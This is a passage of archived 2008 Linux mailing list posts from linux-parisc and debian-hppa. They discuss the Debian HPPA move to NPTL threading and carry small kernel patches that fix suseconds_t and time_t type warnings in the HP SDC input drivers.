X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 17:49:31 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 19:50:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbIyI-0001tc-Gs
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 19:50:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753969AbYIDRtO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 13:49:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753824AbYIDRtN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 13:49:13 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:55705 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753521AbYIDRtL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 13:49:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 754E16F8053;
	Thu,  4 Sep 2008 11:49:10 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19277-05; Thu, 4 Sep 2008 11:49:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id 2AE086F8043; Thu,  4 Sep 2008 11:49:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440809041029v6d7592bau15a2307099e5f02e@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:718 gmane.linux.debian.ports.hppa:5481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/718>

On Thu, Sep 04, 2008 at 01:29:06PM -0400, Carlos O'Donell wrote:
> On Thu, Sep 4, 2008 at 12:04 PM, dann frazier <dannf@dannf.org> wrote:
> > If we continue to use libc6 as the package name as we're currently
> > doing, at some point libc will get upgraded to the NPTL interface and
> > things will start crashing immediately. I asked if we could just do
> > "whatever x86 did", and kyle said that we have a problem they didn't -
> > our data nptl/lt data structures are incompatible.
> >
> > We can deal with that to an extent by adding a second libc package,
> > e.g., libc6.1. But, jejb pointed out that, since most libs depend on
> > libc, we'll need to be able to have libs for both interfaces at the
> > same time to support a transitional upgrade - and that implies an
> > SONAME bump for every C library.
> >
> > Hopefully there's an easier way, but I don't know of one.
> 
> How far away is queeze?

There's no set timeframe - but I think we can easily assume it will
be at least 1 year after lenny, which is frozen for release now.

> I have to go write some, code, and test some changes, and get back to
> the list with some options.
> 
> Namely:
> 
> Is it possible to change the pthread structures such that writing the
> compatibility code is easy?
> - Leave padding where the old lock words were and detect statically
> initialized locks by looking at these words?
> - Does this break Gentoo? I think they just emerge world.
> - Does this break Ubuntu hppa? Probably.

thanks Carlos

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 04 Sep 2008 12:52:44 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <1220550764.3276.45.camel@localhost.localdomain>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
	 <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
	 <20080904160407.GB24316@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220550827 9278 80.91.229.12 (4 Sep 2008 17:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 17:53:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 19:54:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbJ1j-0003Nm-Gv
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 19:53:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752105AbYIDRwt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 13:52:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752227AbYIDRwt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 13:52:49 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:39483 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752105AbYIDRws (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 13:52:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7915481D5;
	Thu,  4 Sep 2008 12:52:46 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id svt-8JNuLgv2; Thu,  4 Sep 2008 12:52:44 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7EED67FDB;
	Thu,  4 Sep 2008 12:52:44 -0500 (CDT)
In-Reply-To: <20080904160407.GB24316@colo.lackof.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:719 gmane.linux.debian.ports.hppa:5482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/719>

On Thu, 2008-09-04 at 10:04 -0600, dann frazier wrote:
> On Thu, Sep 04, 2008 at 11:31:52AM -0400, Carlos O'Donell wrote:
> > On Thu, Sep 4, 2008 at 11:23 AM, dann frazier <dannf@dannf.org> wrote:
> > > I've already done the initial bootstrapping and John Wright and I have
> > > a buildd actively rebuilding bits against sid. We're rsyncing the
> > > results out to here:
> > >  http://parisc-linux.org/~dannf/hppa-nptl-mirror/unstable/
> > >
> > > Suffice to say, the rebuild is going fairly smoothly. But, I wonder
> > > how we're going to transition systems over to an NPTL userspace. Does
> > > anyone have a plan for that?
> > 
> > Isn't this the responsibility of the package manager?
> > 
> > Why wouldn't apt-get dist-upgrade work?
> 
> We had a discussion about this on IRC, a while back, let me see if I
> can recap...
> 
> If we continue to use libc6 as the package name as we're currently
> doing, at some point libc will get upgraded to the NPTL interface and
> things will start crashing immediately. I asked if we could just do
> "whatever x86 did", and kyle said that we have a problem they didn't -
> our data nptl/lt data structures are incompatible.
> 
> We can deal with that to an extent by adding a second libc package,
> e.g., libc6.1. But, jejb pointed out that, since most libs depend on
> libc, we'll need to be able to have libs for both interfaces at the
> same time to support a transitional upgrade - and that implies an
> SONAME bump for every C library.
> 
> Hopefully there's an easier way, but I don't know of one.

Can we go via an intermediate library that would coexist with current
glibc?  Something like libc6-nptl, then we do the transitional update
with the tools and other libraries moving over to libc6-nptl, then the
final piece of the upgrade is libc6 going to nptl based libc6.1 and we
remove the transitional libc6-nptl?  This type of flip will have to be
done via ld.so.conf magic, but it should be doable.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: __kernel_suseconds_t is int on PA-RISC (and SPARC64)?
Date: Thu, 4 Sep 2008 22:40:00 +0200 (CEST)
Lines: 97
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0809042238090.19113@anakin>
References: <Pine.LNX.4.64.0808262207450.7910@anakin> <48B46672.1000902@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220560858 15940 80.91.229.12 (4 Sep 2008 20:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 20:40:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758536AbYIDUkZ@vger.kernel.org Thu Sep 04 22:41:53 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758536AbYIDUkZ@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbLe8-0000eN-CL
	for glk-linux-kernel-3@gmane.org; Thu, 04 Sep 2008 22:41:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758536AbYIDUkZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 4 Sep 2008 16:40:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754106AbYIDUkF
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 4 Sep 2008 16:40:05 -0400
Original-Received: from nelson.telenet-ops.be ([195.130.133.66]:34464 "EHLO
	nelson.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753397AbYIDUkD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 4 Sep 2008 16:40:03 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by nelson.telenet-ops.be (Postfix) with SMTP id 563CC50007;
	Thu,  4 Sep 2008 22:40:01 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15368.access.telenet.be [84.193.83.104])
	by nelson.telenet-ops.be (Postfix) with ESMTP id 3B01250024;
	Thu,  4 Sep 2008 22:40:01 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.3/8.14.3/Debian-5) with ESMTP id m84Ke0SX000902
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 4 Sep 2008 22:40:00 +0200
Original-Received: from localhost (geert@localhost)
	by anakin.of.borg (8.14.3/8.14.3/Submit) with ESMTP id m84Ke0GD000899;
	Thu, 4 Sep 2008 22:40:00 +0200
X-Authentication-Warning: anakin.of.borg: geert owned process doing -bs
In-Reply-To: <48B46672.1000902@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:730016 gmane.linux.ports.parisc:720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/720>

On Tue, 26 Aug 2008, Helge Deller wrote:
> Geert Uytterhoeven wrote:
> > Apparently __kernel_suseconds_t is `int' on PA-RISC (and on SPARC64),
> > while it's `long' on all other platforms.
> > 
> > Is there a specific reason for that?
> 
> I don't know for sure, but arch/parisc/kernel/syscall_table.S states:
> /* even though manpage says struct timeval contains longs, ours has
>  * time_t and suseconds_t -- both of which are safe wide/narrow */
>    ENTRY_COMP(setitimer)
> 
> So it was probably chosen to be int so that it can be easily used in 32- and
> 64bit kernels (or compat code).
> 
> > This causes compiler warnings in the HP SDC Real Time Clock driver,
> > which is shared between PA-RISC and m68k:

Here's a patch to fix the compiler warnings. Is this OK for PA-RISC?

SUbject: [PATCH] HP input: kill warnings due to suseconds_t differences

Kill compiler warnings related to printf() formats in the input drivers for
various HP9000 machines, which are shared between PA-RISC (suseconds_t is int)
and m68k (suseconds_t is long). As both are 32-bit, it's safe to cast to int.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 drivers/input/misc/hp_sdc_rtc.c |   10 +++++-----
 drivers/input/serio/hp_sdc.c    |    2 +-
 2 files changed, 6 insertions(+), 6 deletions(-)

--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -458,35 +458,35 @@ static int hp_sdc_rtc_proc_output (char 
 		p += sprintf(p, "i8042 rtc\t: READ FAILED!\n");
 	} else {
 		p += sprintf(p, "i8042 rtc\t: %ld.%02d seconds\n", 
-			     tv.tv_sec, tv.tv_usec/1000);
+			     tv.tv_sec, (int)tv.tv_usec/1000);
 	}
 
 	if (hp_sdc_rtc_read_fhs(&tv)) {
 		p += sprintf(p, "handshake\t: READ FAILED!\n");
 	} else {
         	p += sprintf(p, "handshake\t: %ld.%02d seconds\n", 
-			     tv.tv_sec, tv.tv_usec/1000);
+			     tv.tv_sec, (int)tv.tv_usec/1000);
 	}
 
 	if (hp_sdc_rtc_read_mt(&tv)) {
 		p += sprintf(p, "alarm\t\t: READ FAILED!\n");
 	} else {
 		p += sprintf(p, "alarm\t\t: %ld.%02d seconds\n", 
-			     tv.tv_sec, tv.tv_usec/1000);
+			     tv.tv_sec, (int)tv.tv_usec/1000);
 	}
 
 	if (hp_sdc_rtc_read_dt(&tv)) {
 		p += sprintf(p, "delay\t\t: READ FAILED!\n");
 	} else {
 		p += sprintf(p, "delay\t\t: %ld.%02d seconds\n", 
-			     tv.tv_sec, tv.tv_usec/1000);
+			     tv.tv_sec, (int)tv.tv_usec/1000);
 	}
 
 	if (hp_sdc_rtc_read_ct(&tv)) {
 		p += sprintf(p, "periodic\t: READ FAILED!\n");
 	} else {
 		p += sprintf(p, "periodic\t: %ld.%02d seconds\n", 
-			     tv.tv_sec, tv.tv_usec/1000);
+			     tv.tv_sec, (int)tv.tv_usec/1000);
 	}
 
         p += sprintf(p,
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -323,7 +323,7 @@ static void hp_sdc_tasklet(unsigned long
 			 * it back to the application. and be less verbose.
 			 */
 			printk(KERN_WARNING PREFIX "read timeout (%ius)!\n",
-			       tv.tv_usec - hp_sdc.rtv.tv_usec);
+			       (int)(tv.tv_usec - hp_sdc.rtv.tv_usec));
 			curr->idx += hp_sdc.rqty;
 			hp_sdc.rqty = 0;
 			tmp = curr->seq[curr->actidx];

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: __kernel_time_t is always long
Date: Thu, 4 Sep 2008 22:42:16 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0809042240180.19113@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1220560989 16436 80.91.229.12 (4 Sep 2008 20:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 20:43:09 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 22:44:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbLgR-0001Vw-00
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 22:44:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754812AbYIDUnB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 16:43:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755075AbYIDUnA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 16:43:00 -0400
Original-Received: from yergi.telenet-ops.be ([195.130.132.36]:57481 "EHLO
	yergi.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754812AbYIDUm7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 16:42:59 -0400
Original-Received: from wilson.telenet-ops.be (unknown [195.130.132.42])
	by yergi.telenet-ops.be (Postfix) with ESMTP id 9DEBE710D2E
	for <linux-parisc@vger.kernel.org>; Thu,  4 Sep 2008 22:43:16 +0200 (CEST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by wilson.telenet-ops.be (Postfix) with SMTP id 0AC353403A;
	Thu,  4 Sep 2008 22:42:17 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15368.access.telenet.be [84.193.83.104])
	by wilson.telenet-ops.be (Postfix) with ESMTP id E796234015;
	Thu,  4 Sep 2008 22:42:16 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.3/8.14.3/Debian-5) with ESMTP id m84KgGe4001077
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 4 Sep 2008 22:42:16 +0200
Original-Received: from localhost (geert@localhost)
	by anakin.of.borg (8.14.3/8.14.3/Submit) with ESMTP id m84KgG71001074;
	Thu, 4 Sep 2008 22:42:16 +0200
X-Authentication-Warning: anakin.of.borg: geert owned process doing -bs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:721
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/721>


__kernel_time_t is always long on PA-RISC, irrespective of CONFIG_64BIT

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 include/asm-parisc/posix_types.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- a/include/asm-parisc/posix_types.h
+++ b/include/asm-parisc/posix_types.h
@@ -24,13 +24,12 @@ typedef int			__kernel_daddr_t;
 typedef unsigned long		__kernel_size_t;
 typedef long			__kernel_ssize_t;
 typedef long			__kernel_ptrdiff_t;
-typedef long			__kernel_time_t;
 #else
 typedef unsigned int		__kernel_size_t;
 typedef int			__kernel_ssize_t;
 typedef int			__kernel_ptrdiff_t;
-typedef long			__kernel_time_t;
 #endif
+typedef long			__kernel_time_t;
 typedef char *			__kernel_caddr_t;
 
 typedef unsigned short		__kernel_uid16_t;

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: __kernel_suseconds_t is int on PA-RISC (and SPARC64)?
Date: Thu, 04 Sep 2008 23:03:10 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <48C04D0E.8010905@gmx.de>
References: <Pine.LNX.4.64.0808262207450.7910@anakin> <48B46672.1000902@gmx.de> <Pine.LNX.4.64.0809042238090.19113@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220562212 21087 80.91.229.12 (4 Sep 2008 21:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 21:03:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 23:04:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbM04-0007c3-45
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 23:04:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753017AbYIDVDR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 17:03:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753981AbYIDVDR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 17:03:17 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47746 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752832AbYIDVDQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 17:03:16 -0400
Original-Received: (qmail invoked by alias); 04 Sep 2008 21:03:14 -0000
Original-Received: from mnhm-590f5339.pool.einsundeins.de (EHLO halden.box) [89.15.83.57]
  by mail.gmx.net (mp032) with SMTP; 04 Sep 2008 23:03:14 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19d8Yl0md1d8c5dmMcymJipP5uySr2NDJFJ9hoWV9
	XI086vIqSgSWd/
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <Pine.LNX.4.64.0809042238090.19113@anakin>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:722 gmane.linux.kernel:730026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/722>

Geert Uytterhoeven wrote:
> On Tue, 26 Aug 2008, Helge Deller wrote:
>> Geert Uytterhoeven wrote:
>>> Apparently __kernel_suseconds_t is `int' on PA-RISC (and on SPARC64),
>>> while it's `long' on all other platforms.
>>>
>>> Is there a specific reason for that?
>> I don't know for sure, but arch/parisc/kernel/syscall_table.S states:
>> /* even though manpage says struct timeval contains longs, ours has
>>  * time_t and suseconds_t -- both of which are safe wide/narrow */
>>    ENTRY_COMP(setitimer)
>>
>> So it was probably chosen to be int so that it can be easily used in 32- and
>> 64bit kernels (or compat code).
>>
>>> This causes compiler warnings in the HP SDC Real Time Clock driver,
>>> which is shared between PA-RISC and m68k:
> 
> Here's a patch to fix the compiler warnings. Is this OK for PA-RISC?
> 
> SUbject: [PATCH] HP input: kill warnings due to suseconds_t differences
> 
> Kill compiler warnings related to printf() formats in the input drivers for
> various HP9000 machines, which are shared between PA-RISC (suseconds_t is int)
> and m68k (suseconds_t is long). As both are 32-bit, it's safe to cast to int.
> 
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>

Thanks Geert.
Tested and OK for PA-RISC.

Acked-by: Helge Deller <deller@gmx.de>


> ---
>  drivers/input/misc/hp_sdc_rtc.c |   10 +++++-----
>  drivers/input/serio/hp_sdc.c    |    2 +-
>  2 files changed, 6 insertions(+), 6 deletions(-)
> 
> --- a/drivers/input/misc/hp_sdc_rtc.c
> +++ b/drivers/input/misc/hp_sdc_rtc.c
> @@ -458,35 +458,35 @@ static int hp_sdc_rtc_proc_output (char 
>  		p += sprintf(p, "i8042 rtc\t: READ FAILED!\n");
>  	} else {
>  		p += sprintf(p, "i8042 rtc\t: %ld.%02d seconds\n", 
> -			     tv.tv_sec, tv.tv_usec/1000);
> +			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_fhs(&tv)) {
>  		p += sprintf(p, "handshake\t: READ FAILED!\n");
>  	} else {
>          	p += sprintf(p, "handshake\t: %ld.%02d seconds\n", 
> -			     tv.tv_sec, tv.tv_usec/1000);
> +			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_mt(&tv)) {
>  		p += sprintf(p, "alarm\t\t: READ FAILED!\n");
>  	} else {
>  		p += sprintf(p, "alarm\t\t: %ld.%02d seconds\n", 
> -			     tv.tv_sec, tv.tv_usec/1000);
> +			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_dt(&tv)) {
>  		p += sprintf(p, "delay\t\t: READ FAILED!\n");
>  	} else {
>  		p += sprintf(p, "delay\t\t: %ld.%02d seconds\n", 
> -			     tv.tv_sec, tv.tv_usec/1000);
> +			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_ct(&tv)) {
>  		p += sprintf(p, "periodic\t: READ FAILED!\n");
>  	} else {
>  		p += sprintf(p, "periodic\t: %ld.%02d seconds\n", 
> -			     tv.tv_sec, tv.tv_usec/1000);
> +			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>          p += sprintf(p,
> --- a/drivers/input/serio/hp_sdc.c
> +++ b/drivers/input/serio/hp_sdc.c
> @@ -323,7 +323,7 @@ static void hp_sdc_tasklet(unsigned long
>  			 * it back to the application. and be less verbose.
>  			 */
>  			printk(KERN_WARNING PREFIX "read timeout (%ius)!\n",
> -			       tv.tv_usec - hp_sdc.rtv.tv_usec);
> +			       (int)(tv.tv_usec - hp_sdc.rtv.tv_usec));
>  			curr->idx += hp_sdc.rqty;
>  			hp_sdc.rqty = 0;
>  			tmp = curr->seq[curr->actidx];
> 
> Gr{oetje,eeting}s,
> 
> 						Geert
> 
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
> 
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
> 							    -- Linus Torvalds
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.ppc64.devel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Fri, 05 Sep 2008 08:36:51 +1000
Lines: 15
Approved: news@gmane.org
Message-ID: <1220567811.4879.85.camel@pasglop>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
	 <1220484812.3254.59.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
	 <1220492616.3254.64.camel@localhost.localdomain>
Reply-To: benh@kernel.crashing.org
